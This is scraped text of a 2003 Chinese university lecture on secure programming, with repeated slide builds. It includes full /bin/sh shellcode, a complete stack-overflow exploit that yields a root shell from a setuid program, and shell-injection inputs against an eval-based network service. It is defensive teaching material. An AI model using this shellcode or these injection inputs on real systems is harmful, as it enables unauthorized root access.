安全程序設計_第1頁
安全程序設計_第2頁
安全程序設計_第3頁
安全程序設計_第4頁
安全程序設計_第5頁
已閱讀5頁,還剩144頁未讀 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

網絡與信息安全

第十五講

安全程序設計

唐禮勇

北京大學信息科學技術學院

軟件研究所-信息安全研究室

tly@

2003年春季北京大學碩士研究生課程現實中的一些安全問題現實中的一些安全問題我的口令就是我的用戶名后加上123現實中的一些安全問題我的口令就是我的用戶名后加上123我的口令是Q47pY!3,每隔90天就更換一次現實中的一些安全問題強而有效的不可破解的加密技術隨處均可得

到(盡管有各種各樣的進出口限制)不攻擊加密技術,攻擊其應用的底層基礎設施不攻擊加密技術,攻擊其實現不攻擊加密技術,而從用戶方面入手WhySecurityisHarderthanitLooks所有軟件都是有錯的通常情況下99.99%無錯的程序很少會出問題同安全相關的99.99%無錯的程序可以確信會被人利用那0.01%的錯誤0.01%安全問題等于100%的失敗從幾個程序談起B(yǎng)urningyourselfwithmaliciousdataSegmentationFault(coredumped)程序運行平臺RedhatLinux8.0Kernel2.4.18GNUgcc3.2第一個程序#include<stdio.h>#include<string.h>voidSayHello(char*name){chartmpName[80];strcpy(tmpName,name);/*DosomechecksfortmpName.*/printf("Hello%s\n",tmpName);}intmain(intargc,char**argv){if(argc!=2){printf("Usage:hello<name>.\n");return1;}SayHello(argv[1]);return0;}

hello.c運行情況$./hellocomputerHellocomputer

hello.c運行情況$./hellocomputerHellocomputer$./helloaaaa………….aHelloaaaa……………….aSegmentationfault(coredumped)

hello.c運行情況$./hellocomputerHellocomputer$./helloaaaa………….aHelloaaaa……………….aSegmentationfault(coredumped)

hello.cWhy????檢查一下程序#include<stdio.h>#include<string.h>voidSayHello(char*name){

chartmpName[80];

strcpy(tmpName,name);/*DosomechecksfortmpName.*/printf("Hello%s\n",tmpName);}intmain(intargc,char**argv){if(argc!=2){printf("Usage:hello<name>.\n");return1;}SayHello(argv[1]);return0;}

hello.c進一步思考……發(fā)生了什么事?幾個要點Linux及其它幾乎所有Intelx86系統(tǒng)、Solaris,etc分頁式存儲管理平面內存結構,4GB或更大邏輯地址空間棧從下往上生長C語言不進行邊界檢查進程內存布局代碼區(qū)數據區(qū)堆棧段字符串向下生長棧段向上生長0x000000000xFFFFFFFF調用SayHello之前的棧main函數局部變量區(qū)lastfpretipargcargvenv…...ESPmain棧幀進入SayHello后的棧tmpName[80]main-fpretipnamemain棧幀…...ESPSayHello棧幀準備退出SayHello的棧(情況1)computer.

…………..main-fpretipnamemain棧幀…...ESPSayHello棧幀main中return0;./hellocomputer準備退出SayHello的棧(情況2)aaaaaaaaaaaaaaaaaa……aaaaaaaa0x616161610x616161610x61616161main棧幀…...ESPSayHello棧幀retip???????./helloaaaaaa……………….a如果精心選擇數據……...如果精心選擇數據……...ESPSayHello棧幀retip如果精心選擇數據……...???????????????????………..????0x????????0xNNNNNNNN0x????????………...………...………...ESPSayHello棧幀retip0xNNNNNNNN如果精心選擇數據……...???????????????????………..????0x????????0xNNNNNNNN0x????????………...………...Our-CodesESPSayHello棧幀retip0xNNNNNNNN如何選擇這些數據?幾個問題:SayHello函數局部變量區(qū)大???如何選擇這些數據?幾個問題:SayHello函數局部變量區(qū)大???NNNNNNNN如何確定?如何選擇這些數據?幾個問題:SayHello函數局部變量區(qū)大小?NNNNNNNN如何確定?Ourcodes該怎樣寫如何選擇這些數據?幾個問題:SayHello函數局部變量區(qū)大???NNNNNNNN如何確定?Ourcodes該怎樣寫輸入緩沖區(qū)不能包含0局部變量區(qū)問題???????????????????………..????0x????????0xNNNNNNNN0x????????………...………...Our-CodesESPSayHello棧幀retip0xNNNNNNNN局部變量區(qū)問題0xNNNNNNNN………..NNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNNOur-CodesESPSayHello棧幀retip0xNNNNNNNN代碼起始地址如何確定?0xNNNNNNNN………..NNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNNOur-CodesESPSayHello棧幀retip0xNNNNNNNN<4K代碼起始地址如何確定問題已轉化為用ESP加上某一偏移代碼起始地址如何確定問題已轉化為用ESP加上某一偏移該偏移不需要精確為什么偏移不需要精確?0xNNNNNNNN………..NNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN……….NNNNNNOPNOP……..NOPReal-CodesESPSayHello棧幀retip0xNNNNNNNN代碼起始地址如何確定問題已轉化為用ESP加上某一偏移該偏移不需要精確ESP如何確定呢代碼起始地址如何確定問題已轉化為用ESP加上某一偏移該偏移不需要精確ESP如何確定呢用同樣選項,插入一段代碼,重新編譯代碼起始地址如何確定問題已轉化為用ESP加上某一偏移該偏移不需要精確ESP如何確定呢用同樣選項,插入一段代碼,重新編譯使用調試工具跟蹤應用程序代碼起始地址如何確定問題已轉化為用ESP加上某一偏移該偏移不需要精確ESP如何確定呢用同樣選項,插入一段代碼,重新編譯使用調試工具跟蹤應用程序編一小程序,打印出運行時棧頂位置代碼起始地址如何確定問題已轉化為用ESP加上某一偏移該偏移不需要精確ESP如何確定呢用同樣選項,插入一段代碼,重新編譯使用調試工具跟蹤應用程序編一小程序,打印出運行時棧頂位置在同樣環(huán)境下,不同進程之間棧位置距離不會太遠植入代碼如何編寫植入代碼如何編寫 jmp label2label1: pop esi mov [esi+8],esi xor eax,eax mov [esi+7],al mov [esi+12],eax mov al,0bh mov ebx,esi lea ecx,[esi+8] lea edx, [esi+12] int 80h xor ebx,ebx mov eax,ebx inc eax int 80hlabel2: call label1cmd: db“/bin/sh”,0植入代碼如何編寫

jmp label2label1: pop esi mov [esi+8],esi xor eax,eax mov [esi+7],al mov [esi+12],eax mov al,0bh mov ebx,esi lea ecx,[esi+8] lea edx, [esi+12] int 80h xor ebx,ebx mov eax,ebx inc eax int 80hlabel2: call label1cmd: db“/bin/sh”,0植入代碼如何編寫 jmp label2label1: pop esi mov [esi+8],esi xor eax,eax mov [esi+7],al mov [esi+12],eax mov al,0bh mov ebx,esi lea ecx,[esi+8] lea edx, [esi+12] int 80h xor ebx,ebx mov eax,ebx inc eax int 80hlabel2: call label1cmd: db“/bin/sh”,0植入代碼如何編寫 jmp label2label1: pop esi mov [esi+8],esi xor eax,eax mov [esi+7],al mov [esi+12],eax mov al,0bh mov ebx,esi lea ecx,[esi+8] lea edx, [esi+12] int 80h xor ebx,ebx mov eax,ebx inc eax int 80hlabel2: call label1cmd: db“/bin/sh”,0

esi==cmd植入代碼如何編寫 jmp label2label1: pop esi

mov [esi+8],esi xor eax,eax mov [esi+7],al mov [esi+12],eax mov al,0bh mov ebx,esi lea ecx,[esi+8] lea edx, [esi+12] int 80h xor ebx,ebx mov eax,ebx inc eax int 80hlabel2: call label1cmd: db“/bin/sh”,0

esi==cmd植入代碼如何編寫 jmp label2label1: pop esi

mov [esi+8],esi xor eax,eax mov [esi+7],al mov [esi+12],eax mov al,0bh mov ebx,esi lea ecx,[esi+8] lea edx, [esi+12] int 80h xor ebx,ebx mov eax,ebx inc eax int 80hlabel2: call label1cmd: db“/bin/sh”,0esi+8: cmd

esi==cmd植入代碼如何編寫 jmp label2label1: pop esi mov [esi+8],esi

xor eax,eax mov [esi+7],al mov [esi+12],eax mov al,0bh mov ebx,esi lea ecx,[esi+8] lea edx, [esi+12] int 80h xor ebx,ebx mov eax,ebx inc eax int 80hlabel2: call label1cmd: db“/bin/sh”,0esi+8: cmd

esi==cmd植入代碼如何編寫 jmp label2label1: pop esi mov [esi+8],esi xor eax,eax mov [esi+7],al

mov [esi+12],eax mov al,0bh mov ebx,esi lea ecx,[esi+8] lea edx, [esi+12] int 80h xor ebx,ebx mov eax,ebx inc eax int 80hlabel2: call label1cmd: db“/bin/sh”,0esi+8: cmd

esi==cmd植入代碼如何編寫 jmp label2label1: pop esi mov [esi+8],esi xor eax,eax mov [esi+7],al

mov [esi+12],eax mov al,0bh mov ebx,esi lea ecx,[esi+8] lea edx, [esi+12] int 80h xor ebx,ebx mov eax,ebx inc eax int 80hlabel2: call label1cmd: db“/bin/sh”,0esi+8: cmd,0

esi==cmd植入代碼如何編寫 jmp label2label1: pop esi mov [esi+8],esi xor eax,eax mov [esi+7],al mov [esi+12],eax

mov al,0bh mov ebx,esi lea ecx,[esi+8] lea edx, [esi+12] int 80h xor ebx,ebx mov eax,ebx inc eax int 80hlabel2: call label1cmd: db“/bin/sh”,0esi+8: cmd,0

esi==cmd運行程序路徑命令行參數execp系統(tǒng)調用植入代碼如何編寫 jmp label2label1: pop esi mov [esi+8],esi xor eax,eax mov [esi+7],al mov [esi+12],eax mov al,0bh mov ebx,esi lea ecx,[esi+8] lea edx, [esi+12] int 80h

xor ebx,ebx mov eax,ebx inc eax int 80hlabel2: call label1cmd: db“/bin/sh”,0esi+8: cmd,0

esi==cmd_exit植入代碼二進制格式charshell_code[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0”“\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c”“\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";植入代碼自測試程序(1)#include<string.h>unsignedcharshell_code[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0”“\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c”“\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/ls";charlarge_string[128];main(){charbuffer[96];inti;

test1.c植入代碼自測試程序(2)long*long_ptr=(long*)large_string;for(i=0;i<32;i++)long_ptr[i]=(long)buffer;for(i=0;i<strlen(shell_code);i++)large_string[i]=shell_code[i];strcpy(buffer,large_string);printf("IseverythingOK?:-)\n");}

test1.c植入代碼自測試程序(3)$./test1IseverythingOK?:-)

test1.c植入代碼自測試程序(3)$./test1IseverythingOK?:-)hellohello.ctest1test1.c

test1.c完整的攻擊hello的程序(1)#include<string.h>#include<stdlib.h>#include<unistd.h>unsignedcharshell_code[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0”“\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c”“\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";#defineDEFAULT_OFFSET0#defineBUFFER_SIZE1024test2.c完整的攻擊hello的程序(2)unsignedlongget_esp(){__asm__("movl%esp,%eax");}main(intargc,char**argv){char*buff;char*ptr;unsignedlong*addr_ptr;unsignedlongesp;inti,ofs;test2.c完整的攻擊hello的程序(3)if(argc==1)ofs=DEFAULT_OFFSET;elseofs=atoi(argv[1]);ptr=buff=malloc(4096);/*Fillinwithaddresses*/addr_ptr=(unsignedlong*)ptr;esp=get_esp();printf("ESP=%08x\n",esp);

for(i=0;i<100;i++)*(addr_ptr++)=esp+ofs;test2.c完整的攻擊hello的程序(4)/*FillthestartofshellbufferwithNOPs*/ptr=(char*)addr_ptr;

memset(ptr,'A',BUFFER_SIZE-strlen(shell_code));ptr+=BUFFER_SIZE-strlen(shell_code);/*Andthentheshellcode*/memcpy(ptr,shell_code,strlen(shell_code));ptr+=strlen(shell_code);*ptr=0;printf("IseverythingOK?:-)\n");execl("./hello","hello",buff,NULL);}test2.c完整的攻擊hello的程序(4)/*FillthestartofshellbufferwithNOPs*/ptr=(char*)addr_ptr;memset(ptr,'A',BUFFER_SIZE-strlen(shell_code));ptr+=BUFFER_SIZE-strlen(shell_code);/*Andthentheshellcode*/

memcpy(ptr,shell_code,strlen(shell_code));ptr+=strlen(shell_code);*ptr=0;printf("IseverythingOK?:-)\n");execl("./hello","hello",buff,NULL);}test2.c完整的攻擊hello的程序(4)/*FillthestartofshellbufferwithNOPs*/ptr=(char*)addr_ptr;memset(ptr,'A',BUFFER_SIZE-strlen(shell_code));ptr+=BUFFER_SIZE-strlen(shell_code);/*Andthentheshellcode*/memcpy(ptr,shell_code,strlen(shell_code));ptr+=strlen(shell_code);*ptr=0;printf("IseverythingOK?:-)\n");

execl("./hello","hello",buff,NULL);}test2.c完整的攻擊hello的程序(5)<tly:~/tttt/tt>$./test2ESP=bffffcd0IseverythingOK?:-)Hello<一堆亂碼>/bin/shtest2.c完整的攻擊hello的程序(5)<tly:~/tttt/tt>$./test2ESP=bffffcd0IseverythingOK?:-)Hello<一堆亂碼>/bin/shbash$_test2.c完整的攻擊hello的程序(5)<tly:~/tttt/tt>$./test2ESP=bffffcd0IseverythingOK?:-)Hello<一堆亂碼>/bin/shbash$_test2.c完整的攻擊hello的程序(5)<tly:~/tttt/tt>$./test2ESP=bffffcd0IseverythingOK?:-)Hello<一堆亂碼>/bin/shbash$bash$whoamitlybash$_test2.c得出的結論一個程序當沒有很好地檢查邊界條件時可能會受到緩沖區(qū)溢出攻擊。有緩沖區(qū)溢出漏洞的程序當它能以特權用戶身份運行時,可能讓普通用戶無需經過認證就可以獲得系統(tǒng)特權。rootexploitRemoterootexploit通過網絡,不需認證即可獲得root權限Localrootexploit本地普通用戶,利用系統(tǒng)程序的漏洞獲得root權限哪些程序將以特權用戶身份運行網絡服務程序HTTPServer、FTPServer、MailServer,etcsyslogTrojian木馬程序suid/sgid程序suid/sgid程序Unix一項特殊技術,使普通用戶也能做只有超級用戶才能執(zhí)行的任務passwd、at、crontab、ping普通rwx之上加上s位,kernel在載入進程映象時自動將進程有效用戶/組標識置為映象文件文件屬主/組例:ls-l/usr/bin/passwd-r-s--x--x1root/usr/bin/passwd還是攻擊hello的例子<tly:~/tttt/tt>$subash#chownroot:roothellobash#chmodu+shello;exit<tly:~/tttt/tt>$_還是攻擊hello的例子<tly:~/tttt/tt>$subash#chownroot:roothellobash#chmodu+shello;exit<tly:~/tttt/tt>$./test2ESP=bffffcd0IseverythingOK?:-)Hello<一堆亂碼>/bin/sh還是攻擊hello的例子<tly:~/tttt/tt>$subash#chownroot:roothellobash#chmodu+shello;exit<tly:~/tttt/tt>$./test2ESP=bffffcd0IseverythingOK?:-)Hello<一堆亂碼>/bin/shbash#_還是攻擊hello的例子<tly:~/tttt/tt>$subash#chownroot:roothellobash#chmodu+shello;exit<tly:~/tttt/tt>$./test2ESP=bffffcd0IseverythingOK?:-)Hello<一堆亂碼>/bin/shbash#bash#whoamirootbash#_近幾年出現過的bufferoverflows

splitvt,syslog,mount/umount,sendmail,lpr,bind,gethostbyname(),modstat,cron,login,sendmailagain,thequeryCGIscript,newgrp,AutoSoftsRTSinventorycontrolsystem,host,talkd,getopt(),sendmailyetagain,FreeBSD’scrt0.c,WebSite1.1,rlogin,term,ffbconfig,libX11,passwd/yppasswd/nispasswd,imapd,ipop3d,SuperProbe,lpd,xterm,eject,lpdagain,host,mount,theNLSlibrary,xlock,libXtandfurtherX11R6libraries,talkd,fdformat,eject,elm,cxterm,ps,fbconfig,metamail,dtterm,df,anentirerangeofSGIprograms,psagain,chkey,libX11,suidperl,libXtagain,lquerylv,getopt()again,dtaction,at,libDtSvc,eeprom,lpryetagain,smbmount,xlockyetagain,MH-6.83,NIS+,ordist,xlockagain,psagain,bash,rdist,login/scheme,libX11again,sendmailforWindowsNT,wm,wwwcount,tgetent(),xdat,termcap,portmir,writesrv,rcp,opengroup,telnetd,rlogin,MSIE,eject,df,statd,atagain,rloginagain,rsh,ping,traceroute,Cisco7xxrouters,xscreensaver,passwd,deliver,cidentd,Xserver,theYappconferencingserver,multipleproblemsintheWindows95/NTNTFTPclient,theWindowsWarandServ-UFTPdaemon,theLinuxdynamiclinker,filter(partofelm-2.4),theIMailPOP3serverforNT,pset,rpc.nisd,Sambaserver,ufsrestore,DCEsecd,pine,dslip,RealPlayer,SLMail,socks5,CSMProxy,imapd(again),OutlookExpress,NetscapeMail,mutt,MSIE,LotusNotes,MSIEagain,libauth,login,iwsh,permissions,unfsd,Minicom,nslookup,zpop,dig,WebCam32,smbclient,compress,elvis,lha,bash,jidentd,Tooltalk,ttdbserver,dbadmin,zgv,mountd,pcnfs,NovellGroupwise,mscreen,xterm,Xawlibrary,CiscoIOS,muttagain,ospf_monitor,sdtcm_convert,Netscape(allversions),mpg123,Xprt,klogd,catdoc,junkbuster,SerialPOP,andrdist,……………….怎么解決?更為小心的程序設計將安全相關的功能隔離到仔細檢查的代碼內怎么解決?更為小心的程序設計將安全相關的功能隔離到仔細檢查的代碼內讓棧不可運行會導致若干技術難題怎么解決?更為小心的程序設計將安全相關的功能隔離到仔細檢查的代碼內讓棧不可運行會導致若干技術難題基于編譯器的方法在代碼內自動增加邊界檢查(veryslow)運行過程中進行棧完整性檢查(slightslowdown)VisualStudio.Net:cl/GSImmunix:StackGuard重新排列棧變量(noslowdown)程序失敗的其它例子程序失敗的其它例子傳遞參數到其它進程程序失敗的其它例子傳遞參數到其它進程其它類型輸入程序失敗的其它例子傳遞參數到其它進程其它類型輸入

Racecondition程序失敗的其它例子傳遞參數到其它進程其它類型輸入

Racecondition

會話密鑰的生成程序失敗的其它例子傳遞參數到其它進程其它類型輸入

Racecondition

會話密鑰的生成內存數據保護程序失敗的其它例子傳遞參數到其它進程其它類型輸入

Racecondition

會話密鑰的生成內存數據保護

最小特權傳參數給其它進程的幾種類型傳參數給其它進程的幾種類型Unixshellscripts傳參數給其它進程的幾種類型UnixshellscriptsCGI/Perlscripts傳參數給其它進程的幾種類型UnixshellscriptsCGI/Perlscripts很復雜的應用sendmail傳參數給其它進程的幾種類型UnixshellscriptsCGI/Perlscripts很復雜的應用sendmail其它類型TCPWrapperinetd又一個有問題的程序#!/bin/shecho"What'syourname?"readnameevalechoHello$nameechoNicetomeetyou!echoGoodbye!hellod運行情況$./hellodWhat’syournameMickyHelloMickyNicetomeetyouGoodbyehellod運行情況(續(xù))$./hellodWhat’syournameMicky;ls;HelloMickyhellod運行情況(續(xù))$./hellodWhat’syournameMicky;ls;HelloMickycsis-overflow.tar.gzhellohello.chellodtest1test1.ctest2test2.cNicetomeetyou!Goodbye!hellod運行情況(續(xù))$./hellodWhat’syournameMicky;ls;HelloMickycsis-overflow.tar.gzhellohello.chellodtest1test1.ctest2test2.cNicetomeetyou!Goodbye!hellod問題何在?#!/bin/shecho"What'syourname?"readnameevalechoHello$nameechoNicetomeetyou!echoGoodbye!hellod假如此程序上網$ln-s`pwd`/hellod/usr/sbin$vi/etc/inetd.conf增加下面一行:2000streamtcpnowaitroot/usr/sbin/tcpdhellod$su#killall-HUPinetd/etc/inetd.conf正常情況下的結果$telnetlocalhost2000Trying...Connectedtolocalhost.Escapecharacteris'^]'.What'syourname?MickyHelloMickyNicetomeetyou!Goodbye!Connectionclosedbyforeignhost.網絡上的hellod再來搗搗亂$telnetlocalhost2000Trying...Connectedtolocalhost.Escapecharacteris'^]'.What'syourname?Micky;whoami;HelloMicky網絡上的hellod再來搗搗亂$telnetlocalhost2000Trying...Connectedtolocalhost.Escapecharacteris'^]'.What'syourname?Micky;whoami;HelloMickyroot:commandnotfoundNicetomeetyou!Goodbye!Connectionclosedbyforeignhost.網絡上的hellod再來搗搗亂$telnetlocalhost2000Trying...Connectedtolocalhost.Escapecharacteris'^]'.What'syourname?Micky;whoami;HelloMickyroot:commandnotfoundNicetomeetyou!Goodbye!Connectionclosedbyforeignhost.網絡上的hellod也是輸入(DNS)早期的TCPWrapperhosts.deny@%h:替換為client機器名或IP(反向解析失敗時)問題:當0被解析為>/etc/passwd時,會發(fā)生什么?ALL:.bad.domain:finger-l@%h|/usr/ucb/mailroot其它類型輸入其它類型輸入IIS3.0以前GET../../其它類型輸入IIS3.0以前GET../../Windows奇怪的目錄名解析C:\TEMP\t1\t2\t3\t4\t5\t6>cd…….C:\TEMP>_其它類型輸入(續(xù)一)子進程從父進程繼承的內容進程身份uid、gid、euid、egid可能被跟蹤、發(fā)信號改變其運行狀態(tài)打開文件描述符環(huán)境變量IFS、LD_PRELOAD文件創(chuàng)建模式掩碼其它類型輸入(續(xù)二)子進程從父進程繼承的內容(續(xù))當前目錄和根目錄資源極限調度優(yōu)先級可能被用于下面將要談到的racecondition攻擊內部時鐘信號處理處理函數被重置但被阻塞信號仍被阻塞,被忽略信號仍被忽略如何正確處理輸入如何正確處理輸入原則:不要相信任何來自不可靠信息源的消息。如何正確處理輸入原則:不要相信任何來自不可靠信息源的消息。字符串操作類函數不要使用strcpy、strcat、sprintf換用strncpy、strncat、snprintf不要使用gets、scanf換用read、fgets小心getenv,可能被用于緩沖區(qū)溢出如何正確處理輸入(續(xù)一)字符串操作類函數(續(xù))小心gethostbyname、gethostbyaddr某些DNS可能返回惡意地址如果可能,應該做雙向查詢如何正確處理輸入(續(xù)一)字符串操作類函數(續(xù))小心gethostbyname、gethostbyaddr某些DNS可能返回惡意地址如果可能,應該做雙向查詢運行新進程system、popen、exec將產生新shell,可能做系統(tǒng)不希望它做的事換用execl或execv,對傳遞數據作嚴格一致性檢查(sanitycheck)CreateProcess(NULL,"C:\ProgramFiles\foo",...)如何正確處理輸入(續(xù)二)命令行檢查程序中應仔細檢查每一參數尤其是以很高特權運行的程序如何正確處理輸入(續(xù)二)命令行檢查程序中應仔細檢查每一參數尤其是以很高特權運行的程序數據檢查正確的方法:只允許可以確信沒有問題的數據通過,如字母、數字、點及一些符號錯誤的方法:除已知會出問題的數據外都允許通過??赡軙新┚W之魚。例:隨早期Apachewebserver的php.cgi就忘了過濾回車符RaceCondition多任務環(huán)境下,利用進程運行的異步性,搶占或改變進程使用資源判斷資源性質與真正使用該資源之間有一個時間差,在這段時間內進程很可能運行完時間片被調度出去,此時其它進程可能改變該資源性質。RaceCondition例目的:創(chuàng)建并打開臨時文件保證只有當前進程能打開該文件方案一#defineTMP_FILE“/tmp/_file”sprintf(tmpFile,“%s%05d.dat”,TMP_FILE,getpid());fd=open(tmpFile,O_RDWR|O_CREAT|O_TRUNC,0600);存在的問題:1.若tmpFile已存在,怎么辦?2.若tmpFile為一符號鏈接,怎么辦?方案一#defineTMP_FILE“/tmp/_file”sprintf(tmpFile,“%s%05d.dat”,TMP_FILE,getpid());fd=open(tmpFile,O_RDWR|O_CREAT|O_EXCL|O_TRUNC,0600);方案二chartmpTemplate[]=“/tmp/_fileXXXXXX”tmpFile=mktemp(tmpTemplate);if(!tmpFile){Error(“Error”);exit(-1);}fd=open(tmpFile,O_RDWR|O_CREAT|O_EXCL|O_TRUNC,0600);方案二

chartmpTemplate[]=“/tmp/_fileXXXXXX”tmpFile=mktemp(tmpTemplate);if(!tmpFile){Error(“Error”);exit(-1);}fd=open(tmpFile,O_RDWR|O_CREAT|O_EXCL|O_TRUNC,0600);需要加一循環(huán)方案三chartmpTemplate[]=“/tmp/_fileXXXXXX”fd=mkstemp(tmpTemplate);if(fd<0){Error(“Error”);exit(-1);}會話密鑰的生成生成會話密鑰需要大量不可預測的隨機數在PC上生成隨機數非常困難大多數人的動作行為是不可預測的用戶輸入可能是不可預測的,但對獨立服務器來說很難利用。會話密鑰的生成生成會話密鑰需要大量不可預測的隨機數在PC上生成隨機數非常困難大多數人的動作行為是不可預測的用戶輸入可能是不可預測的,但對獨立服務器來說很難利用。通常情況下實現由應用開發(fā)者處理但開發(fā)者的實現大多有誤一些有問題的隨機數生成器Netscape(原)a=mixbits(time.tv_usec);b=mixbits(getpid()+time.tv_sec+(getppid()<<12);seed=MD5(a,b);nonce=MD5(seed++);key=MD5(seed++);一些有問題的隨機數生成器(續(xù))KerberosV4srandom(time.tv_usec^time.tv_sec^getpid()

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論